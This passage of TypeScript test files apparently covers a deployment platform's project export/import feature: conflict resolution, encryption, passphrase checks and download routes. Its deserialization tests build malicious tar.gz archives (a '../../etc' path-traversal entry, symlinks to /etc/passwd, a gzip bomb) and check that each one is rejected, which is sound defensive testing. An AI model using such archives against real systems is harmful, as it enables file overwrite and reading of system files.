describe("resolveConflicts", () => {
const conflicts = [
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("projectName", "shop", ["rename"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
];
it("applies safe defaults per kind", () => {
expect(resolveConflicts(conflicts, undefined)).toEqual({
"domain:api.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"projectName:shop": { action: "rename", value: "shop (imported)" },
"network:shared-net": { action: "keep" },
});
});
it("keeps valid user choices and falls back for invalid ones", () => {
const resolved = resolveConflicts(conflicts, {
"domain:api.example.com": { action: "rename", value: "api2.example.com" },
"port:8080": { action: "rename", value: "not-a-port" },
"projectName:shop": { action: "skip" },
"network:shared-net": { action: "rename", value: "shared-net-2" },
});
expect(resolved["domain:api.example.com"]).toEqual({
action: "rename",
value: "api2.example.com",
});
expect(resolved["port:8080"]).toEqual({ action: "skip" });
expect(resolved["projectName:shop"]).toEqual({
action: "rename",
value: "shop (imported)",
});
expect(resolved["network:shared-net"]).toEqual({
action: "rename",
value: "shared-net-2",
});
});
it("resolves the project name from the rename choice", () => {
expect(
resolvedProjectName(
{ kind: "newProject", name: "shop" },
{ "projectName:shop": { action: "rename", value: " shop-2 " } },
),
).toBe("shop-2");
expect(resolvedProjectName({ kind: "newProject", name: "shop" }, {})).toBe(
"shop",
);
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-src", name: "shop", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
networkIds: ["net-src"],
domains: [
{ domainId: "dom-1", host: "api.example.com", enabled: true },
{ domainId: "dom-2", host: "admin.example.com", enabled: true },
],
ports: [
{ portId: "p-1", publishedPort: 8080, targetPort: 80 },
{ portId: "p-2", publishedPort: 9090, targetPort: 90 },
{ portId: "p-3", publishedPort: 7070, targetPort: 70 },
],
},
],
shared: {
network: [{ networkId: "net-src", name: "shared-net", serverId: null }],
},
},
requirements: [
{
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [],
name: "shared-net",
},
],
warnings: [],
dumps: [],
};
const runApply = async (
conflictResolutions: Plan["conflictResolutions"],
networkResolution: "keep" | "rename" | "skip",
) => {
const { applications, domains, environments, network, ports, projects } =
await import("@dokploy/server/db/schema");
const inserted = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const writeDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row: Record<string, unknown> = {
...values,
id: `row-${++counter}`,
};
if (table === projects) row.projectId = "project-new";
if (table === environments) row.environmentId = "env-new";
if (table === network) row.networkId = "net-new";
if (table === applications) row.applicationId = "app-new";
if (table === domains) row.domainId = `dom-new-${counter}`;
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
const plan: Plan = {
target: { kind: "newProject", name: "shop" },
resolutions: {
"network:net-src": {
requirementKey: "network:net-src",
action: "create",
},
},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [
conflict("projectName", "shop", ["rename"]),
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("domain", "admin.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("port", "9090", ["rename", "skip", "keep"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
],
conflictResolutions: {
...conflictResolutions,
"network:shared-net":
networkResolution === "rename"
? { action: "rename", value: "shared-net-2" }
: { action: networkResolution },
},
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 2, dumps: 0 },
};
const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest");
return {
result,
project: inserted.get(projects)?.[0],
domains: inserted.get(domains) ?? [],
ports: inserted.get(ports) ?? [],
networks: inserted.get(network) ?? [],
application: inserted.get(applications)?.[0],
};
};
describe("apply consumes conflict resolutions", () => {
it("renames the project and domains, drops skipped ports, renames a port, reuses the existing network", async () => {
const out = await runApply(
{
"projectName:shop": { action: "rename", value: "shop-2" },
"domain:api.example.com": {
action: "rename",
value: "api-2.example.com",
},
"domain:admin.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"port:9090": { action: "rename", value: "9091" },
},
"keep",
);
expect(out.project?.name).toBe("shop-2");
expect(out.domains.map((d) => [d.host, d.enabled])).toEqual([
["api-2.example.com", true],
["admin.example.com", false],
]);
expect(out.ports.map((p) => p.publishedPort)).toEqual([9091, 7070]);
expect(out.networks).toEqual([]);
expect(out.application?.networkIds).toEqual(["existing-network"]);
expect(out.result.idMap.network).toEqual({ "net-src": "existing-network" });
});
it("creates the network under a new name when renamed, and drops it when skipped", async () => {
const renamed = await runApply({}, "rename");
expect(renamed.networks.map((n) => n.name)).toEqual(["shared-net-2"]);
expect(renamed.application?.networkIds).toEqual(["net-new"]);
const skipped = await runApply({}, "skip");
expect(skipped.networks).toEqual([]);
expect(skipped.application?.networkIds).toEqual([]);
expect(
skipped.result.warnings.some((w) => w.code === "NETWORK_UNRESOLVED"),
).toBe(true);
});
});
@@ -0,0 +1,183 @@
import {
createReadStream,
createWriteStream,
mkdtempSync,
readFileSync,
rmSync,
writeFileSync,
} from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { Readable, Writable } from "node:stream";
import { pipeline } from "node:stream/promises";
import {
decryptField,
deriveKeys,
encryptField,
gcmDecryptStream,
gcmEncryptStream,
makeKeyCheck,
TransferCryptoError,
verifyKeyCheck,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("deriveKeys", () => {
it("rejects a passphrase shorter than 12 characters", async () => {
await expect(deriveKeys("short")).rejects.toThrow();
});
it("derives the same keys from the same passphrase and salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(true);
expect(second.salt).toBe(first.salt);
});
it("derives different keys for a different salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple");
expect(second.salt).not.toBe(first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
it("derives different keys for a different passphrase with the same salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("another-passphrase-entirely", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
});
describe("encryptField / decryptField", () => {
it("round-trips a plaintext value", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(decryptField(kEnc, "secret-1", entry)).toBe("hunter2");
});
it("fails when the AAD (id) differs from the one used to encrypt", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(kEnc, "secret-2", entry)).toThrow(
TransferCryptoError,
);
});
it("fails when decrypting with a different key", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const { kEnc: otherKEnc } = await deriveKeys("a-different-passphrase!!");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(otherKEnc, "secret-1", entry)).toThrow(
TransferCryptoError,
);
});
});
describe("makeKeyCheck / verifyKeyCheck", () => {
it("verifies with the correct passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: reDerived } = await deriveKeys(
"correct-horse-battery-staple",
salt,
);
expect(verifyKeyCheck(reDerived, keyCheck)).toBe(true);
});
it("fails with the wrong passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: wrongKEnc } = await deriveKeys(
"totally-wrong-passphrase",
salt,
);
expect(verifyKeyCheck(wrongKEnc, keyCheck)).toBe(false);
});
});
describe("gcmDecryptStream edge cases", () => {
it("handles an empty payload, one-byte chunks and a truncated ciphertext", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const encrypt = async (bytes: Buffer) => {
const chunks: Buffer[] = [];
await pipeline(
Readable.from([bytes]),
gcmEncryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const decrypt = async (bytes: Buffer, chunkSize: number) => {
const chunks: Buffer[] = [];
const pieces: Buffer[] = [];
for (let i = 0; i < bytes.length; i += chunkSize) {
pieces.push(bytes.subarray(i, i + chunkSize));
}
await pipeline(
Readable.from(pieces),
gcmDecryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const empty = await encrypt(Buffer.alloc(0));
expect(empty.length).toBe(12 + 16);
expect((await decrypt(empty, 1)).length).toBe(0);
const small = await encrypt(Buffer.from("hello world, 21 bytes"));
expect((await decrypt(small, 1)).toString()).toBe("hello world, 21 bytes");
await expect(decrypt(small.subarray(0, 20), 1)).rejects.toThrow(
TransferCryptoError,
);
});
});
describe("gcmEncryptStream / gcmDecryptStream", () => {
it("round-trips a file and rejects a flipped byte", async () => {
const dir = mkdtempSync(join(tmpdir(), "transfer-crypto-file-"));
try {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const plain = join(dir, "plain.bin");
const enc = join(dir, "plain.enc");
const out = join(dir, "plain.out");
writeFileSync(plain, Buffer.alloc(100_000, 7));
await pipeline(
createReadStream(plain),
gcmEncryptStream(kEnc),
createWriteStream(enc),
);
expect(readFileSync(enc).length).toBe(100_000 + 12 + 16);
await pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
);
expect(readFileSync(out).equals(readFileSync(plain))).toBe(true);
const bytes = readFileSync(enc);
bytes[100] = (bytes[100] ?? 0) ^ 0xff;
writeFileSync(enc, bytes);
await expect(
pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
),
).rejects.toThrow(TransferCryptoError);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
@@ -0,0 +1,236 @@
import {
buildBundleObjectKey,
deriveKeys,
EXPORTS_DIRECTORY,
makeKeyCheck,
slugifyProjectName,
verifyBundlePassphrase,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsync: vi.fn(actual.execAsync) };
});
describe("slugifyProjectName", () => {
it("produces a lowercase, URL-safe slug", () => {
expect(slugifyProjectName("My Cool Project!")).toBe("my-cool-project");
});
it("falls back to a generic name for an empty/unslugifiable input", () => {
expect(slugifyProjectName("")).toBe("project");
});
});
describe("buildBundleObjectKey", () => {
it("always stores bundles under the fixed exports directory", () => {
const key = buildBundleObjectKey("my-project", "2024-01-01T00:00:00.000Z");
expect(key).toBe(
`${EXPORTS_DIRECTORY}/my-project-2024-01-01T00-00-00-000Z.dokploy.tar.gz`,
);
expect(EXPORTS_DIRECTORY).toBe("dokploy-export-import");
});
});
describe("verifyBundlePassphrase", () => {
it("checks the keyCheck of a manifest read from the head of the object", async () => {
const { salt, kEnc } = await deriveKeys("correct-horse-battery-staple");
const manifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt,
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: makeKeyCheck(kEnc),
},
counts: {},
};
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
const destination = { bucket: "b", endpoint: "e", region: "r" } as any;
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: true, valid: true });
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"wrong-passphrase-here",
),
).resolves.toMatchObject({ checked: true, valid: false });
vi.mocked(execAsync).mockResolvedValueOnce({ stdout: "", stderr: "" });
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: false });
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain("rclone cat");
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"tar -xzOf - manifest.json ",
);
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"--count 4194304",
);
});
});
describe("projectExportImportRouter.exportStart on IS_CLOUD", () => {
it("rejects deliver: download (or omitted) with BAD_REQUEST", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "a@b.com" },
} as any);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "correct-horse-battery-staple",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.resetModules();
}, 30_000);
});
describe("projectExportImportRouter.exportOrganizationStart on IS_CLOUD", () => {
it("skips projects with no remote server instead of failing the whole batch", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
const runExportBatch = vi.fn(() => ({ exportIds: ["export-1"] }));
vi.doMock("@dokploy/server/db", () => ({
db: {
query: {
projects: {
findMany: async () => [
{ projectId: "with-server", name: "With server" },
{ projectId: "empty", name: "Empty" },
],
},
},
},
}));
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(async () => ({})),
bundleBuildServer: vi.fn(async (_db, projectId: string) => {
if (projectId === "with-server") return "server-1";
throw new TRPCError({
code: "BAD_REQUEST",
message: "none of the selected services runs on a remote server",
});
}),
runExportBatch,
};
},
);
vi.doMock("../../server/api/utils/audit", () => ({ audit: vi.fn() }));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-org-cloud", email: "a@b.com" },
} as any);
const result = await caller.exportOrganizationStart({
destinationId: "dest-1",
passphrase: "correct-horse-battery-staple",
projectIds: ["with-server", "empty", "with-server"],
});
expect(result.exports).toEqual([
{ projectId: "with-server", name: "With server", exportId: "export-1" },
]);
expect(result.skipped).toMatchObject([{ projectId: "empty" }]);
expect(runExportBatch).toHaveBeenCalledWith(
[expect.objectContaining({ buildServerId: "server-1" })],
expect.anything(),
);
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/db");
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.doUnmock("../../server/api/utils/audit");
vi.resetModules();
}, 30_000);
});
@@ -0,0 +1,393 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { gzipSync } from "node:zlib";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
inspectBundle,
serialize,
TransferCryptoError,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [], findFirst: async () => undefined },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const ustarHeader = (name: string, size: number): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${size.toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("0", 156, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildMaliciousTarGz = (entryName: string, content: Buffer): Buffer => {
const header = ustarHeader(entryName, content.length);
const padded = Buffer.concat([
content,
Buffer.alloc((512 - (content.length % 512)) % 512),
]);
const archive = Buffer.concat([header, padded, Buffer.alloc(1024)]);
return gzipSync(archive);
};
const ustarSymlinkHeader = (name: string, linkTarget: string): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${(0).toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("2", 156, "utf8");
header.write(linkTarget, 157, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildSymlinkTarGz = (entryName: string, linkTarget: string): Buffer => {
const header = ustarSymlinkHeader(entryName, linkTarget);
const archive = Buffer.concat([header, Buffer.alloc(1024)]);
return gzipSync(archive);
};
let workDir: string;
let outDir: string;
let bundlePath: string;
const buildBundle = async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
};
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-deser-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-deser-out-"));
bundlePath = join(outDir, "bundle.dokploy.tar.gz");
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("deserialize: inspectBundle + unlockBundle", () => {
it("round-trips the exact snapshot through inspect + unlock", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
const inspected = await inspectBundle(
local(bundlePath),
local(extractDir),
);
expect(inspected.manifest.sourceInstance.organizationId).toBe("org-1");
expect(inspected.inventory.totals.application).toBe(1);
expect(Array.isArray(inspected.requirements)).toBe(true);
expect(Array.isArray(inspected.warnings)).toBe(true);
expect(existsSync(join(extractDir, "resources"))).toBe(false);
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
expect(unlocked.snapshot.manifest).toEqual(inspected.manifest);
expect(existsSync(join(extractDir, "payload.enc"))).toBe(false);
expect(existsSync(join(extractDir, "secrets.json"))).toBe(false);
expect(unlocked.snapshot.resources.project).toMatchObject({
projectId: "project-1",
name: "my-project",
});
expect(unlocked.snapshot.resources.environments).toHaveLength(1);
const decryptedValues = Array.from(unlocked.secretsPlain.values());
expect(decryptedValues).toContain("realdbpassword123");
} finally {
await rm(extractDir, { recursive: true, force: true });
}
}, 30_000);
it("throws TransferCryptoError on a wrong passphrase", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
await expect(
unlockBundle(local(extractDir), "totally-wrong-passphrase-here"),
).rejects.toThrow(TransferCryptoError);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("throws TransferCryptoError when the encrypted payload is tampered with", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
const payloadPath = join(extractDir, "payload.enc");
const bytes = await readFile(payloadPath);
const middle = Math.floor(bytes.length / 2);
bytes[middle] = (bytes[middle] ?? 0) ^ 0xff;
await writeFile(payloadPath, bytes);
await expect(unlockBundle(local(extractDir), PASSPHRASE)).rejects.toThrow(
TransferCryptoError,
);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a tar entry that attempts path traversal", async () => {
const maliciousBundle = join(outDir, "evil.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildMaliciousTarGz("../../etc/evil-payload", Buffer.from("evil")),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-evil-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe path/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a gzip bomb before extracting anything", async () => {
const bomb = join(outDir, "bomb.dokploy.tar.gz");
await writeFile(
bomb,
buildMaliciousTarGz("manifest.json", Buffer.alloc(1024 * 1024)),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-bomb-"),
);
try {
await expect(
inspectBundle(local(bomb), local(extractDir), {
maxDecompressedBytes: 64 * 1024,
}),
).rejects.toThrow(/decompressed size/);
expect(existsSync(join(extractDir, "manifest.json"))).toBe(false);
// A post-extraction failure removes the directory; the pre-check never touches it.
expect(existsSync(extractDir)).toBe(true);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects an escaping symlink even when its name contains a tab", async () => {
const maliciousBundle = join(outDir, "evil-tab-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("x\ty", "../../../../etc"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-tab-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a symlink entry whose target escapes workDir", async () => {
const maliciousBundle = join(outDir, "evil-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("innocuous-name.txt", "../../../../etc/passwd"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-symlink-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
});
@@ -0,0 +1,316 @@
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough, Readable } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { errorPathBox } = vi.hoisted(() => ({ errorPathBox: { value: "" } }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (errorPathBox.value && command.includes(errorPathBox.value)) {
const stdout = new Readable({ read() {} });
process.nextTick(() => {
stdout.emit("error", new Error("simulated read failure"));
});
return {
stdin: new PassThrough(),
stdout,
stderr: new PassThrough(),
exit: Promise.resolve(1),
close: () => {},
};
}
return actual.openProcessStream(serverId, command);
},
};
},
);
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const {
createExportJob,
issueDownloadToken,
updateExportJob,
peekDownloadToken,
assertTransferPermission,
} = await import("@dokploy/server/services/project-export-import");
const handler = (
await import("../../pages/api/project-export-import/download/[token]")
).default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-download-route-"));
errorPathBox.value = "";
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildReq = (
method: string,
token: string,
): { method: string; query: { token: string } } => ({
method,
query: { token },
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
setHeader: (key: string, value: unknown) => void;
headers: Record<string, unknown>;
} & PassThrough;
stream.statusCode = 200;
stream.headers = {};
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
stream.setHeader = vi.fn((key: string, value: unknown) => {
stream.headers[key] = value;
});
return stream;
};
const drain = (stream: PassThrough): Promise<Buffer> =>
new Promise((resolve, reject) => {
const chunks: Buffer[] = [];
stream.on("data", (chunk) => chunks.push(chunk as Buffer));
stream.on("end", () => resolve(Buffer.concat(chunks)));
stream.on("error", reject);
});
describe("transfer download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildReq("GET", "any-token");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects an unknown token", async () => {
const req = buildReq("GET", "does-not-exist");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
